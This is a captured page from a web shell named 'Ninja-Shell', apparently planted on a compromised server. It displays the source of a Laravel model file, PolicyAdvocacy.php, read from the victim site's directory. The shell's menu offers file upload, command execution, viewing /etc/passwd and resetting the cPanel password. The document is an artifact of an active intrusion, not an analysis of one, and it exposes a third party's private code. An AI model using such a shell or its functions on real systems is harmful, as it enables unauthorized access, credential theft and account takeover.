{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var//www///bfti-website/app/Models/PolicyAdvocacy.php
<?php namespace App\Models; use Spatie\MediaLibrary\HasMedia; use Illuminate\Database\Eloquent\Model; use Spatie\MediaLibrary\InteractsWithMedia; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Database\Eloquent\Factories\HasFactory; use Spatie\MediaLibrary\MediaCollections\Models\Media; class PolicyAdvocacy extends Model implements HasMedia { use HasFactory, InteractsWithMedia, SoftDeletes; protected $fillable = [ 'category', 'title', 'description', 'date', 'status', 'organized_by', ]; protected $dates = ['date']; public function registerMediaCollections(): void { $this ->addMediaCollection('policyAdvocacy')->singleFile() ->registerMediaConversions(function (Media $media) { $this->addMediaConversion('thumbnail') ->width(120) ->height(67) ->nonQueued(); $this->addMediaConversion('medium') ->width(300) ->height(168) ->nonQueued(); $this->addMediaConversion('large') ->width(600) ->height(337) ->nonQueued(); }); } }
./Ninja\.